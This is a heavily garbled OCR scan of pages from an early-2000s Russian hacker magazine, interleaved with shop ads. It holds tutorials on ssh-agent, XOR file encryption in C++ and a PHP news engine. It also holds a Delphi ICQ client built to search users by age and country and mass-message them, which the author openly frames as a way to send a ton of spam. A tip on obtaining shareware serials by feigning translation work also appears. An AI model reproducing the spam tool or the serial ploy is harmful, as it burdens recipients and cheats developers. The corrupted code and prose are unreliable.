достаточно набрать: 

$ ззЬ ту.зЬеІІЬох.ги 



Если тебе нужно на время отлучиться от компа, и сущест- 
вует вероятность, что кто-то может воспользоваться твоим 
отсутствием в корыстных целях, просто выгрузи из кэша 
агента все ключи: 

$ ззЬ-асІсІ -О 
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Проявите индивидуальность с помощью ЖК-монитора 
ѴіеиЗопіс серии ѴХ, который просто ошеломляет дизайном! 




Новый Иищкінфисталпичвсяни монитор ѴЯВО0 использует 
технологии БирегСІѳйг МѴА ,М и предлагает минимальное 
время отклика экрана, сяерхширокие углы о&моа 
а 160 градусов, яркость в 250 кд- м2 соотношение контраста 
600:1 Технологии Орчбупс™ поэюдвет п*щкгю««ние как н 
аналоговому, так и к цифровому источнику сигнала. 
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ВЗГЛЯД НА ІСО ИЗ йЕІ-РНІ 
^ Ог.21оЬуиз (сооІ16@е-таіІ.ги) 



Взгаяр 



Популярность .СО все ника* не падает, • 

(русские же сидят обычно на нынч е МігаЬІІй (ее поглотала АОЦ , то теперь их 

только один официальный клиент о Р ^ маш ^ никсы . к чему я это все? :) 

"просто и^мы сегодня напишем своего клиента , пусть не супернааороченного, но клиента. 

Ог.2ІоЬуіі5 (сооІ16@е-таіІ.ги) 



Ты ѵжр заинтересовался? Отлично, сейчас я быстренько введу тебя в курс дела. Я дав- 
по компоненту, протоколу и другим полезным вещам. 



РѲЖОАЕЖ АСКВ 

= ПфИС " 

. г. ... . ппыіпл \л пгттпппмм 



пед ) Т е нам придется самим задавать примерное количество поисковых оеансов, да 
ад и отфильтровывать дубликаты! Втодае - задачие месят Об этом позже. 

ПѲЁХААИІ 

!»ГГГГЛІЖ 

то вроде: 

ѵаг 

Рогті : ТРогтІ ; 

ІЛпЗ,Міск$: ТЗЫлдЫвІ; 

Здесь мы создаем два стдаковых списка. Зачем они нужнымъ, узнаешь позже. Теперь 
мы напишем несколько функций, с которыми будем работать. 



инфе? Об этом мы сейчас и поговорим, 




Так выглядит будущая программа 



Что делает наша тулза: 

1) Дает возможность выбирать различ- 
ные параметры поиска (для примера я 
взял два: страна и возраст - этого хватит). 

2) Дает возможность ввести сообщение с 
последующей вставкой туда ника жертвы. 

3) Ищет/рассылает. 

Готов? Поехали... 

Первым делом создай новый проект и 
кинь на него компоненты, расположенные 
как на скриншоте 1 . 

ЕсІіГы называй: ЮдіпЕсМ, РаззѵѵогсШ, 
СоипН’й и МеззадеВЙ, соответственно. 
Два компонента ТСотЬоВох так и оставь. 
Теперь добавь кнопку и ТМето. И самое 
главное - ТІСОСІіепІ. Все. Получилось? 
Отлично. 



^-==ЕГ===Н= 

пишет) *. Это просто для удобства. 

Изменение сффбшения 

Зга Функция необходима для преобразования текста в твоем МеззадеИ в новый с 
$|\ІЮК». Этот код смотри в Листинге 2. 



Ѳснѳвнѳй КѲРИНГ 



Пфовфрные КААуНИ 



Создавая эту программу, я столкнулся с рядом трудностей: первая и гамая ^ая^ при 

быв»т так ™ в дазулыате поиска найдено очень много пользователей, поэтому сер- 
верТвьда^ные юины, чтобы при следующем поисже они не повторялись - прим. 



формы. Впиши туда содержимое Листинга 4. Все! Приготовления окончены. 

V «я—» >— «г — «*»“ ™ 

для обработчика события ОпІІбегРоипс] компонента ІСОСІіепП . 
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Работаем -с, господа. . . 



Листинг I 



№ Мек-” *Ьеп //если Ника нет, то мы бу- 
дем вставлять «*» 

5еагсЬиз1(ІІіп, '*’) 
еізе 

5еагсШз*(ІІІп, Иск); //здесь мы начина- 
ем проверку на дубликаты 

Завершение 

Вот и все! Теперь ты получил быстро рабо- 
тающую программу. Немного доработай 
ее, и получишь отличную софтину, которая 
даст тебе возможность похвастаться перед 
друзьями и быстро разослать тонну спама. 
Хочу лишь заметить, что не стоит 
увлекаться массовой рассыл- 
кой... Помни: этот пример не для 
засорения Сети. Удачи! 



ѵгаг^?ед1^ ГС ^ иЙ ( 3иІП ^ П9;ЗМІСк: ^ П9);8Ігіпд; 

ъЗ* Ь0ОІеап: //эта ценная нам нужна для определения дубликата 

Яад:=1ше; 

ЬедііГ 0 *° иіп5 ' Соип *" 1 0)0 //перебираем весь список 

сфжеГто П8 ' 3(ГІП98И №ѲП //еСЛИ и 08 ™ Ш (юин в Дальнейшем) = какой 
Ьедіп 

ТІад:=ТаІзе; //флаг возвращает «фальшь»-) 
епсі; '' 

епсі; 

» Яад іТіеп //иначе 

юин и ник П0Д единым номером - 
епсі; 



Листинг 3 



ГилсГіоп ТГогпіІ .СеМдеМіп: Ш&, 
Ьедіп 

сазе СотЬоВохІ Летіпсіех оі 
1 : РезиІІ := 18; 

2: ВезиІІ := 23; 

3: ВезиІІ := 30; 

4: ВезиІІ := 40; 

5: ВезиІІ := 50; 

6: ВезиІІ: := 60; 
еізе 

ВезиІІ := 0; 
епб; 
епсі; 

^ипсііоп ТЕогтІ .СеіАдеМах: ѴѴогсІ; 
Ьедіп 



сазе СотЬоВохІ .Ііетіпйех оі 


1 : ВезиІІ 


= 22; 


2: ВезиІІ 


= 29; 


3: ВезиІІ: 


= 39; 


4: ВезиІІ 


= 49; 


5: ВезиІІ 


= 59; 


6: ВезиІІ 


= $2710; 



ВезиІІ := 0; 
епсі; 
епсі; 



Листинг 5 

Я ЬодіпЕбі1.Тех1=” Щеп 
5ЬоѵѵМеззаде(‘Еггог! Епіег ты»’) 
еізе 

Метоі .СІеаг; 

ІСОСІіеп11.ІЛН:=51гТоІп1(ІодіпЕсІі1.ТехІ); 

ІСОСІіепІ 1 . РаззѵѵогсІ : =Разз\л/огсІ ЕсІИ.Техі; 

іСОСІіепИ 1одіп(0); //логинимся к серверу в статусе Опііпе 



Листинг 2 

ѵаг Рог:іп1едег; 

зізігіпд; 

Ьедіп 

з:=Еогт1 .МеззадеЕсІіІ.ТехІ; //задаем строку 

ѵѵМе Р<ѵ>Пгіп « //еСЛИ В Т ! КСте п Р ИС У гств Ует указание на ник, то... 
ѵѵпііе гО2>0 ао //...пока он будет 

Ьедіп 

№ ^ е РІ = ’*’ йтеп //если ника нет, то 
Ьедіп 

р е 'е1е(5, Рог, І-епдІЬ(ВерІ)); //удаляем старое 
Іп5ег!( , з, Рог); //вставляем пробел 
епсі 
еізе 
Ьедіп 

ОеІе1е(з, Рог, ЕепдІЬ(НерІ)); 

еп^ 2МіСк ’ 5 ’ Ро2): // пишем Реальный ник пользователя 

РогтГМеззадѳйіі.ГехІ-з; //готовим мессагу 
епсГ Р05 ^ ерІ ’ 5 ^ ; // пе Р ев °Д им поиск на новое место 
епсі; 



Листинг 4 

ргосесіиге ТЕогтІ .ЕогтСгеа1е(ЗепсІег: ТОЬіесІ); 
ѵаг 

і:іп1едег; 

Ьедіп 

иіп5^Т51ппдиз1.Сгеа1е; //создаем список 
ІчіскЗ.-ТЗІгіпдизІ.СгеаІе; //аналогично 

СотЬоВохІ .ВетзАМП; //выводим возраст 
СотЬоВохІ. Кетіпсіех := 0; 

СотЬоВохІ .І1етз.АсІсІ(‘ 1 8-22’); 

СотЬоВохІ .І1етз.АсІсІ(‘23-29’); 

СотЬоВохІ .І1етз.АсІсІ(‘30-39’); 

СотЬоВохІ . Иетз .АсІсІ( ‘40-49 ’ ) ; 

СотЬоВохІ . Иетз . АсІсІ( ‘ 50-59 ’ ) ; 

СотЬоВохІ .І1етз.АсІсІ(‘60 апсі аЬоѵе’)- 
СотЬоВох2. І1етз.АсІсІ( 1 ’); 

СотЬоВох2.І1етІпсІех := О - 



Листинг 6 

ргосейиге ТРогшІ .ІСОСІіепіІ Іодіп($епйег: ТОЦесЦ; 

і:іп1едег; 

Ьедіп 

Ьг Ь0 Со 8СгТоІпС(СоипСЬЙ.ТЕхС) Йо //сколько раз искать 

функция поиска ’’’’’’’ ,1гие )’ //собственно, 

епсі; 

5Г° 10 иіп8 Соип1 - 1 * //далее идет проверка на дубликаты 
з™ П . //еСЛИ ЭТО ^ НЭЙДеНЫЙ юин - 70 мы *№* на новое 

ВерІасеІМскЗ.ЗігіпдзМ/ЗМск') 

еізе 

Ьедіп 

КерІасе(Ніск8.5Сгіпд8[і],Ніск5.5Сгіпдз[И]); //если же нет то «мрнсш, 

следующее предыдущим " е не ’ то заменяем 

епй; 

я™ 

Метоі. ипез.Айй('Послано сообщение ня ■ , і і;„с с, ■ г , . 
е +Ме8заде№.ТекС); //добавляем инфу о проделанной рабств 93[ ' ]+ ' 

ІСОСІіеп1 1 .Оізсоппесі; //отключаемся 
ІІіпЗ.Егее; 

МскЗ.Егее; 

епсі; 
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Кодинг 



криптография в с++ 

К Николай «СогІиМ» Андреев (догІит@хакер.ги) 



К.РИПХѲ ГРАФИЛ В 






В последнее время единственным^ 
криптография. Все шифруется . «іпй ил ^ наверняка пользовался 

интернет-магази^ номера бывают шифры, как они 
услугами РОР. В этой ста і рас у программах. На примере 

работают, и рк их мо ^о реа лизо ЧТ0 Р С+ Р + больше чем другое 

шифрующей файл "РОП^ ™ ^ Д я криптографии. 

Николай «СогІиМ» Андреев (догІиш@хакер.ги) 



рм «•"" “ стг, “ “ «я» 

г-етяй»- 

их работы, но и реализовать один алгоритм в собственной программе. 

Асижуаетричные 
и СИММЕТРИЧНЫЕ ШИФРЫ 

Ппрдставь себе криптоалгоритм, с помощью которого ты шифруешь что-либо одним 

“ Именно°с его помоію ты сможешь получить информер —— 
пеовым ключом Типичный пример асимметричного шифра - это К5А, и ™ л “Ѵемь 
РОР. Основной задачей таких шифров является защита передаваемой информаци . 

Е==гЕгН=т== 

жать ее защищенной от чужих глаз. 

потребуется всего лишь повторить операцию шифровки. 

ПИШЕМ шифрѳвшик 



О на 0 = О 

0 на 1 = 1 

1 на 0 = 1 
1 на 1 = О 

~====== 

ключ мы можем получить зашифрованный символ и записать его в символ началъ 
ключ, мы можем ишіучиіь о ^ ч-н ^ упрощается до зіт = кеу. 

да шифрует от ом™ с ЖГ»., наше» »е лрофадае 

о -М «— Г е ' » «“ 

волом), заданным тобой. 

Кѳрѳткѳ ѳ прфёкішях файаѳв 

дасвгггдаагж 

Р гл\пяяя\л/огс1 м» Заметь когда пишешь строку прямо в программе, символ \ 

почти каквиртуальная память, за исключением того, что в нашем случае адресу 
гя не кѵсок страничного файла (читай свопа), а открытый файл. 

Проекцию мь Создаем с помощью функции СгеаІеРіІеМарріпд, в п^па^фе 

штшщ? 

при редактировании которого все изменения тотчас же отражаются ф 

Кѳрѳткѳ ѳб указателях 

Если ты когда-нибудь видел хотя бы один исходник на С++, то мог заметить значок 
Л который ставят перед объявлением некоторых переменных разного типа. Э о 
нач По ГзыТт то данная переменная является указателем, т.е. переменной, 
адресующей данные в определенное место памяти. Например, я пишу: 

сііаг *5Іг = «строка»; 
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. . МТУ-ИНТЕЛ 

Философия древности - шла 

ВЕСЬ МИР В ОДНОЙ ТОЧКЕ Ш* 1 ■ 




$ 19.9 



В МЕСЯЦ 

с учетом всех налогов 

ВЫДЕЛЕННЫЙ КАНАЛ ИНТЕРНЕТ 

БЕСПЛАТНОЕ ПОДКЛЮЧЕНИЕ 

СВОБОДНЫЙ ТЕЛЕФОН 



753*8282 



Нпр:// (осНка.ги 





Вот как 

\ П ч М о Ждйпр же в отличие от строки, такой элемент может быть где угодно, не 

“ « . — I"» 

римердіри попытке открыть несуществующим элемент массива). 



Шифруем 



Если есть указатель на массив символов файла и его размер, мы можем приступить 
к шфрованию. Для этого очень удобно сделать специальную функцию, в парамет- 
рах которой мы будем передавать: 

1) Указатель на шифруемую строку 

2) Длину этой строки 

3) Указатель на ключ 

4) Длину ключа 

Мощь синтаксиса языка С ++ позволяет запись ВСЮ фуЛ, ^^счиш 
сива символов ксором с ключом заданной тобой длины в ОДНУ СТРОКУ, не считая 
объявления функции. Вот как это будет выглядеть: 

Л>Г(ІПІ і = 0,1 = 0; і < 52іп; іп[і++] ~= кеу[1++]) »(1 >= 5гке У> * = 0; 

Цикл іс 
ясню. і 

(ог(выражение 1 ; выражение 2; выражение 3) оператор; 



I іілкп Тог ты конечно узнал, а вот назначение таких хитрых выражений я сейчас объ- 



это то же самое, что: 

выражение 1 ; 
ѵѵЫІе(выражение 2){ 
оператор; 
выражение 3; 

} 

Так станет понятнее, что же делает приведенный цикл. По началу он пе^ 

вдруг больше или равен длине ключа згкеу (тоже передается в ^Раметр®), то^ об- 
нулится. Таким образом этот несложный цикл ухитряется шифровать, а при р 
ном вызове расшифровывать строку с ключом любой длины. 

Наша программа - — ^ 

С:\раззѵѵогб.Ш, необходимо запустить программу следующим образом. 

сгуріо.ехе СДраззшогсІ.М ключ 



После шифрования 

около десяти секунд. Имхо, неплохо. 

Реализация слфжных 

КРИПТѲАЛГФРИТАѵѲВ 

с простыми криптоалгоритмами мы разобрались, а как быть “ сл0 *^ 

^ ал м»™ .р««», « . шл ™ » "'“"ш . „ л 

П«р : //ѵѵѵѵѵѵ . орепззі . огд/сіосз/сгу рЮ/ сгу рЮ . Іііті 

. ргмп+пДРі г гайта шла/ хакер. ш ты можешь скачать исходник 

Г .. «— « о е«»» * 

годняшней программы шй«п«а»й. *»». И с тшюбаим» деаттад—т- 




ВЯЁАК 

ШРІМ 

мопк I ( неправда, обычно в палатках Ѵ$ всегда сильно ѵоезан а 

Г;;Г П С - С енн0 ’ шифровать нельзя :). Поэтому пиши прог- 

раммы только для личного пользования и только в познавательных целях. 

На этом все. Удачного компилирования. • 



Листинг ПРФГРА/АЛѵЫ ШИФРѲВАНИЯ ФАЙЛА 

//Мы будем использовать ѴѴіпАРІ 
#іпсІисІе <ѵѵіпсіоѵѵз.іі> 

//Код шифрующей функции 

ѵоісі собе(сЬаг *іп,іщ згіп.сбаг *кеу,Н 52 кеу){ 

} І0Г<ІПІ і = 0 ’ і = 0;і< згіп; іп[і++] "= кеу[і++]) щ ( >= вгкеу) ( = 0; 

/Дочка входа 

Н таіп(Н агдс, сбаг **агдѵ){ 

//Открываем файл для чтения и записи 
НАИ01_Е _ 

СгеаІеЯІе(атдѵ[ 1 ] ,ОЕНЕИС_ШТЕ|ОВ\1ЕИС РЕАОД 0 300)- 
//Получаем его размер ’ ’ 

отРЮ МІеЗіге = СеіРіІе5і2е(ИРіІе,0); 

//Создаем проекцию файла 

НАЛОГЕ Р№Мар = Сгеа*еРіІеМарріпд(ІіРіІе,0,4,0,МІеЗіге,0); 

//Получаем указатель на проекцию 

сбат* сРйе = (сбаг*)МарѴіеѵЮГРіІе(бЯІеМар,2,0 0 О)- 
//Шифруем всю проекцию 
собе(сЯІе,(1\«РіІеЗіге,агдѵ[2],8ІгІеп(агдѵ[2])); 

' Ь30ЮНИЯ фа ? л и проекцию требуется закрыть 
//ставим ЮР, закрываем файл и его проекцию 
иптарѴшОЯчІе(сЯІе); 

5е(ЯІеРоіп(ег((іЯІе,с1»Рііе5і2е,0 О) 1 
5е(БкШІе(бЯІе); 

Оо8еНапсІІе(ІіЯІеМар),СІозеНапсІІе(ІіЯІе); 




Оптимальный 

уровень 

содержания 

"железа'' 



ЫЗМ ІЕАРЕР 

на базе процессора 
ІпіеІ® Репііит® 4 






Ты нашел какую-либо шаровар- 
ную англоязычную прогу, но кря- 
ка на нее пока не существует? Я 
подскажу тебе способ, с по- 
мощью которого можно полу- 
чить и серийник, и техподдерж- 
ку. Мылишь производителю на 
английском что-то типа: "Ми- 
лый, дорогой девелопер! Ваша 
прога пользуется офигительным 
успехом среди русских пользо- 
вателей, но русского интерфей- 
са так и нет... Разрешите мне 
сделать перевод интерфейса на 
русский язык". Вот так. Если 
разработчик будет добрым дя- 



денькой, то вышлет тебе какой- 
нибудь файл, который надо пе- 
ревести (да поможет тебе 
ПРОМТ!). Ты его переводишь и 
отправляешь ему. И так ненавяз- 
чиво просишь, мол, сами мы не 
местные... хочу небольшого воз- 
награждения за свой труд - выш- 
лите серийник, добрый дядя де- 
велопер. Все! :)) Сериал выш- 
лют, поблагодарят, да еще и 
скажут что-то типа "надеемся на 
плодотворное сотрудничество". 

Сергей ака ЗегдееѵісИ 

шш.з-ітаде.пагосі.ги 



Не просто играйте в Ваши любимые компьютерные 
игры. Играйте, чтобы выиграть, используя 
компьютер ІІ5ІЧ І.ЕАОЕК, оснащенный 
высокопроизводительным процессором ІпіеІ® Репііит® 4. 



• 2 года гарантии 

• сертификат соответствия 

• индивидуальные конфигурации 

• большой выбор периферии 
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ѴѴѴѴѴѴ.И5П.Ш 



Тел./факс: (095) 775-8202 
Оптовый отдел: (095) 775-8201 

Россия, 119071, Москва, М. Калужский пер., д.15, с. 16 



Филиалы 

Москва 

(095) 788-15-12 
(095) 784-72-50 
(8462) 32-16-43 
(84643) 2-24-05 
(08622) 5-62-99 
(845-2) 52-38-01 



КЦ "Буденовский" 

ВКЦ "Савеловский" 

Самара 

Сызрань 

Орел 

Саратов 




ІпіеІ, логотип ІпіеІ Іпзісіе и Репііит- зерегестрированные товарные знаки 
ІпіеІ Согрогаііоп и ее филиалов в США и других странах 








$І_А$НООТ? НА РНР - ХАЛЯВА! 

|-^ Никита «ШкНоз» Кислицин 

(пікіі 02 @геаІ. хакер. ш) Иіір://пікііоз.іпс.ги 



_ $ШНОѲТ? 

На РНР и халява! 

Никита «Ыікііоз» Кислицин (шкіЮг@геаІ.хакер.ги) Мір.//ткі№з 



ЗІазИсІо* огд - популярный новостной портал с посещаемостью 50 млн. человек в 

шёшшш 

чет реализации - ЗІазійоІ напнсан на РеП. Мы же реализуем эту, в общем-то, нес 
ложную задачу, на РНР. Увидишь - это просто .). 



СѳзоАние таблиц 



Как я ѵже неошократно отмечал, прежде чем присыпать к написанию скрипи» Ь на_ 

стало быть, будет храниться в таблицах. 

Таблица со статьями: 

тУ - 5 > І ріаШТМ0Т ИЦИ аіІто_імсвемент РВІМАВѴ КЕѴ, 

-> аісі ШТ ЫОТ N1)1-1-, 

-> сісі ШТ N01 ЫЦИ, 

-> іехі ТЕХТ ЫОТ N1)1-1-, 

-> сіаіе РАТЕ N01 N1)1-1-, 

-> «те ѴАВСНАВ(1 5) N01 N011, 

-> Іітезі ШТ N01 N1)1-1-); 

Оиегу ОК, 0 гоѵѵз аііесіесі (0.01 зес) 

РІО - уникальный идентификатор статьи, ай - автора, ей - рубрики, іехі - текст 
статьи, баІеДіте - время, Іітезі - время по ипіх-исчислению. 

Таблица с информацией об авторах: 

римш яг, 

-> {пате ѴАВСНАР(50) N01 ЫІІИ, 

-> етаіі ѴАВСНАВ(50) МОТ ЫІІИ, 

-> Іодіп ѴАРСНАР(ЗО) ЫОТ N№.1., 

-> раззѵѵогсі ѴАРСНАР(20) N01 N 
Оиегу ОК, 0 гоѵѵз аГСесІесІ (0.01 зес) 

ай - идентификатор автора, (пате - его имя. Етаіі - аДОС ; электронной почты, Іодіп 
- логин ДЛЯ входа в административный интерфейс, раззѵѵогсі - паро . 

Таблица с комментариями: 

"ЯЙ Г е »“Лш.ЕМЕЖ РИММУ ю. 

-> ріеі ШТ N01 N011, 

-> апаше ѴАВСНАВ(50) N01 N111-1-, 

-> аешаіі ѴАВСНАВ(50) N01 N011, 

-> сошшепі ТЕХТ НОТ N111-1-, 

-> сіаіе РАТЕ NОТ ИОН, 

-> «те ѴАВСНАВ(1 5) ИОТ N011, 

-> Іітезі ШТ NОТ N011); 

Оиегу ОК, 0 гоѵѵз аііесіесі (0.01 зес) 



Сой - идентификатор комментария, рй - ^ н ™Ф ика І^ ! 

сится комментарий, апате - имя автора комментария, соттепі - текст, е/ 
время, Іітезі - время по ипіх-исчислению. 

Таблица с рубриками: 

тузцО сгеаіе ІаЫе саІедогіез( оѵ ісрѵ 

-> ей ШТ NОТ N011 АОТО_ШСВЕМЕЫТ РВІМАВѴ КЕѴ, 

-> саіедогу ѴАВСНАВ(ЗО) NОТ N01.1., 

-> ейз ѴАВСНАВ(бО) NОТ N0^); 

Оиегу ОК, 0 гоѵѵз аНесіей (0.00 зес) 

Сісі - идентификатор рубрики, саіедогу - название рубрики, ейз - идентификаторы 
редакторов рубрик. 

Ѳписаниб функций 

асітіп.ріір - административный скрипт. 

шштшшщ 

пппйпрм найдет еще не один десяток преимуществ такого подхода, мы же пере 
дем к описанию функций, используемых в создаваемом нами новостном движк . 

г'чфй) - выводит комментарии пользователей к статье рй. 

рй. Все параметры являются обязательными, 
паѵідайоп - выводит навигационную строчку. 

2аСі [ай, ей) - проверяет, указан ли автор с идентификатором ай в качестве 
редактора раздела сісі. 
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Исхѳоник кеяыеі..шс.іш 



Запостили, но в кривой кодировке 




Кодим-кодим наш новостной движок 



личать выполняемый скрипт, обрабатывающий данные и ге- 
нерирующий выходной поток, от модульного файла, в кото- 
ром содержатся лишь блоки кода. 

Итак, есть файл, в котором описан ряд высокоуровневых 
функции. Для того чтобы их можно было использовать в ос- 
тальных скриптах, этот файл необходимо подключить к сце- 
нарию при помощи функции гериіге(іііепате). После этого в 
сценарии доступны все описанные функции. Т.е. для того 
чтобы, скажем, вывести пользователю последние 10 статей 
достаточно набрать: 

<? гедиіге(кегпеі.іпс); 
соппесі(сІЬ); 

5»іоѵѵро5*5(); ?> 

П С Г™ іп п с1ех ' р,1р и ас,тіп -Р^ будут строиться следующим 
образом В зависимости от передаваемого параметра бо 
скрипты будут при помощи уже написанных функций выпол- 
нять различные действия: либо показывать конкретную 
статью, либо осуществлять навигацию/поиск по архиву вы- 
полнять административные задачи и т.п. Этим мы в следую- 
щий раз и займемся - свяжем написанные функции в единую 
систему, что в будущем поможет тебе сделать проект с по- 
сещаемостью не 50, а 150 млн. хостов в месяц 



<? 

^ипйіоп соппесі($сІЬ) 

•™1ѵ»);/л, вдклтаемся к ееревд вд 

йлісйоп деі_аиЙіог_іпЬ_Ьу_аісІ($аісІ) 

" 

&и(=ту5д1ціюгу($зд|^те*тем а-™ аи#1 ° ГЗ №ИеГе ак,= ' $аісІ ’*; //Составляем зф-запрос 

(ипсііоп зІтѵро5І8($са(едогу=’по’,$5(агІ=1 ,$(ю*шіисІі=20) 

$5ЛІ=»зеІесі * йот розіз»; 

она опре^а^прогргмш^ находится значение не по умолчанию, т.е. 

$5ЧІ.=» опіег Ьу ИтезГ Резс Іітіі $йаЦ ЗЬоиітЖі™// чіп присоединяется новое условие 

убывания поля Іітезі ’ > // Э о условие выборки статей по ІпоѵѵтисГі, начиная со зШ в порядке 

$ ге=тузд | _ Ч иег у( $ 8 д | ); //отсылаем запрос 

** ($ гез= оіу5цНйсЛаггау($ге)) //цикл для похода по всем возвращенным описям в ВД 

^®ВЙ№.а=мг“--*-- 

Дата: <Ь>$гез[ба*е]</ЬХЬг> 

Время: <Ь>$гез[йте]</ЬХЬг> 

$беасІ<Ьг> 

<а Ьге1=7*=геаадц=$гез[рй]'> [т оге...)< А ><Ьг>.; //Выводим информацию о материале 

Ипсііоп 5бОѴѴрОЗІ($рІб) 

$^ = Жие^Г * ГѲ РЙ=,$РЙЧ ” а ста™ рй 

$розІ=туздШсІі_аггау($ро); 

$а и №о г = 9е і_ аи іЬ°м^о_Ьу_аіб($ро5і[аіб1)- 

еро «$розЦГехІ]<ЬгХр аІідп=гід1Л><ь>$аийіог[1пате] ($аиПтог[етаі,])<Ьг>$ро5І[с!аГе], $розЩіте]</р>»; //Выводим статью 
типсПоп з(іо\л/соттепіз($рісІ) 



$со=туздІ диегу($5дІ); теПІ5 ^ еГе РІСІ $РІСІ ° ГСІег Ьу * ітез *’ СІе8С>>; // 3ап Рос на получение комментариев читателей к статье 

ѵѵбіІе($сотт=туздШсІі_аггау($со)) 

комментарии^ 0 $сотт ^ соттеп Ч < Ь г> $ сотт [ ап а те ]($ сотт [ а е т аіІ])<Ьг>$сотт[сІа1е] І $соттПіте]<Гіг>>>; //Выводим все 



I II Ипсііоп абсІсоттепйогт($рісІ) 

есбо «<й)гт асйоп=іпсІех.рІір тейіосІ=ро 5 І> 

I <іпріЛ 1уре=бкМеп пате=ріб ѵаІие=’$рісГ> 

Имя: <трій іуре=*ехІ пате=апате><Ьг> 

Е-таіІ: <три 1 1уре=1ех1: пате=аетаіІХЬг> 

Комментарии: <ЬсІагеа пате=соттетхДехіагеаХЬг> 

<іприі іуре-зиЬтіі пате=зиЬтіі ѵаІие=’Отправить’>»- 
1 1 Ксііье 

м"Й/& 

$1ітезМіте(); //Время по ипіх-исчислению 

$а=туздІдиегу($5дІ); 

Ипсііоп паѵідаііоп() 

$здІ=»зеІесі * йот саіедогіез» - 
$па=туздІ диегу($здІ); 
ѵѵбііе ($паѵ=туздІдиегу($5дІ)) 

ейю «<а ЛгеГ=7*=п(ш&са1=$паѵ[сй]'>$паѵ[са1едоіу]</а> 

> 

#Абтіп іпіеііасе’з йпйіопз аге дейіпа зШ 
Ипсііоп аи Щ) 

{ 

есЬо «АСТІіепМісаІіоп гециігесі! 

<Ъгт асііоп=асІтіп.рІір теЙіоб=розі> 
юдіп: <іприі іуре=іех1: пате=Іодіп><Ьг> 
разз : <іпри 1 : іуре=раззѵѵб пате=раззѵѵсІХЬг> 

<триі іуре-зиЬтіі пате=й ѵаІие=’Іодіп’> 

«, //Выводим форму для аутентификации администратора 

Ипсііоп а№іпЬ($Іодіп) 

$ге=туздІ диегу($здІ)Г° Г8 І09 ' П ~ $І ° 9ІП *’ //3апрос на поиск информации об администраторе с логином $Іодіп 

$гези№=туздІ_Ші_аггау($ге)- 

геіигп $гези№; 

} 

йтсйоп ізабтіп($Іодіп,$раз5ѵѵсІ) 

$гезиІі=айііп^о($Іодіп)- 

1 < $геа } иІ( ІР ааа «^==$раз а *1) ( геШ (ше . , еІ8е , ге(ит ш . , 

Йтсйоп ізесІііог($ріб, $сй) 

$ас=ту5дІ диегу($^) 090ГІе5 СІС *~ $ СІСІ *’ ^ 3апрос на пол Учение информации о разделе $сіб 
$асс=туздШсЬ_ап'ау($ас) ; 

$ас^ через 1 ^°Р Ы раздела 

іп йі-п Ф® 1 ®** Э1 У сбочку в массив по символу I 
Юг ($.— 0, $.<— соипЦфассз); $,++) // ц „кл по всем указанным редшріім 

Щ$ассзГ $ і ) ==$рй) | геіит <гие; ) //^и админнсщатор $ай указан в качестве редашра этот, раздеш 

?> ^ 




ИНТЕРНЕТ 

( 095 ) 928 - 6089 , ( 095 ) 928 - 0360 , ( 095 ) 928-3574 



• е-зИор • 




ЕагіН 

апсі 

ВеуопсІ 



5ісІ Меіег'з 
Сіѵііігаііоп III 
РІау Же 
ѴѴогІсІ 



Аде 

о( МуіНоІоду 



Ѵіеісопд 



АігрогТ 2002 
Ѵоіішіе 1 Асісі-оп 
к Місгокоіг РІідНі- 
БітііІаТог 2002 



МесНѴѴаггіог 4: 
Мегсепагіез 



$Іаг ѴѴагз Саіахіез: 
Ап Етріге ОіѵісіесІ 



йагк Аде о( 
Сатеіоі: 
БНгоусІесІ Мез 



СоттапсІ & Сопяііег: 
бепегаіз 



Ыеѵепѵіпіег ЫідЬіз: 
$ЬасІоѵѵ5 о( ІІпсІгепТісІе 



ТНе $іт$ 
Опііпе 



ІЛііта 
Опііпе: Аде 
оі ЗНасІоѵ/з 



АзНегоп'з 
СаІІ 2 



ТНе ЕИег 
ЗсгоІІз III: 
Моггоѵѵіпсі 
ТгіЬітаІ 



ТДигг^І,,]! 



ІІпгеаІ II: 

ТНе Аѵгакепіпд 



ОіаЫо Ваіііе СНезі 



2апхагаН 

ТНе 

Нісісіеп 

РогіаІ 



АпагсНу 
Опііпе: 
Моіілп ѴѴагз 



Оіюке III: 
боісі ЕсІіТіоп 



ИНТЕРНЕТ-МАГАЗИН 

ЗАКАЗЫ ПО ИНТЕРНЕТУ - КРУГЛОСУТОЧНО! 

Е-МАИ: 5аІез@е-зНор.гіі 

ЗАКАЗЫ ПО ТЕЛЕФОНУ МОЖНО СДЕЛАТЬ С 10.00 ДО 21 .00 БЕЗ ВЫХОДНЫХ 

ТЕЛЕФОНЫ: 928-6089, 928-0360, 928-3574 
МЫ ПРИНИМАЕМ ЗАКАЗЫ НА ЛЮБЫЕ АМЕРИКАНСКИЕ ИГРЫ! 



(ВІігхагсІ) 
ѴѴагсгаК III 
ВазеЬаІІ Сар 



(61.) Футболка "Голубой 
Экран Смерти ѴѴігісіоѵѵб" 
с логотипом "Хакер" 



Моідее Раб/ 
Коврик для 
мыши 

"Опасно для 
жизни" 



ѲгапсІ ТНеіТ 
Аіііо: Ѵісе 



$Гаг ѴѴаг5 Воііпіу 
НипГег - И2055 



Зоііпсіігаск 



ГапТазу XI: 
2ірро(В) 





Л 


.ѵчЯіу 

Л, 


$ 22,99 




О 











































МАГАЗИН 

( 095 ) 928 - 6089 , ( 095 ) 928 - 0360 , ( 095 ) 928-3574 




ТозЫЬа е 740 



Іедіоппаіге - Реѵѵіег 
Рідкге 



(ВІіггагсІ) ТИе АгТ 
оі ѴѴагсгаН 



Индекс 

Город 

Улица 

Дом 

ФИО 





корпус 




квартира 





Отправьте купон по адресу: 101000, Москва, 
Главпочтамт, а/я 652, Е-ЗІіор 



(ѴѴе5»ѴѴоосІ) 
СоттапсІ & Сопдиег: 
РесІ АІеП 2: СНгопо 



НР .іоі а ■ - 568 



Сотрад 
іРая Н3970 



$ 599,99 



5опу РСР-РС8 


\ 


Е тіпі ОѴ Сатсосіег 


\ X 




.Ыск/ СН РІідЬі 5іт 


/ гп 


Уоке 115В 






Неаарпопез/ 
БеппНеізег НО 265 
ѴосаІ НеасІрНопез 



Бркгз/ѴісІеоІ-одіс 
ОідіТНеаіге Ю - Бііѵег 



5 29,99 



(Вііххага) ѴѴагсгаП III 
Асііоп Рідііге: Бі-огт 
Раде ТНе ЫідН* ЕІР 



Ѵісіео/ Ріппасіе 
5у5Іет5 Біцсііо 
РСТѴ Рго 



$ 39,99 



Ъ 35,99 



1 у 

Бопу СуЬегБНоі ОідіГаІ 
Сатега Р5С-Б85 



Бопу ѴСТ-680КМ 



1 



Бапйізк 
128 МВ 
СотрасіРІазН 
СагсІ 






